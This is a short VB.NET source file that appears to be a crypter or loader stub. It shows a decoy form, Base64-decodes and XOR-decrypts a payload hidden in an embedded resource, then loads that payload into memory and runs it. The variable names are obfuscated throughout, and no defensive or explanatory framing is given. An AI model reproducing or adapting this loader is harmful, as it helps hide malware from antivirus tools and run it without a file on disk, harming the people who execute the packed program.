Module Module2

 

  
  Sub Main(ByVal aa As String())

     
   Form1.Show()

      
  Dim awx As Byte() = XORDecrypt(Convert.FromBase64String(My.Resources.S  tring1), "KeyEncrypt")


        Dim ww As Object() = New Object(-1) {}

 
       Dim qs As System.Reflection.Assembly = AppDomain.CurrentDomain.Load(awx)

 
       If qs.EntryPoint.GetParameters().Length > 0 Then

 
           ww = New Object() {aa}

   
     End If

     
   qs.EntryPoint.Invoke(Nothing, ww)

    
End Sub

  
  Public Function XORDecrypt(ByVal xwxw As Byte(), ByVal dcf As String) As Byte()

  
      Dim dcbhg As Byte() = System.Text.Encoding.ASCII.GetBytes(dcf)

 
       Dim fcdff As Integer = xwxw(xwxw.Length - 1) Xor 112

   
     Dim dfetgf(xwxw.Length) As Byte

     
   Dim vvvbv As Integer

     
   For ssdd As Integer = 0 To xwxw.Length - 1

  
          dfetgf(ssdd) = (xwxw(ssdd) Xor fcdff) Xor dcbhg(vvvbv)

   
         If vvvbv = dcf.Length - 1 Then vvvbv = 0 Else vvvbv = vvvbv + 1

   
     Next

       
 ReDim Preserve dfetgf(xwxw.Length - 2)

    
    Return dfetgf

  
  End Function

End Module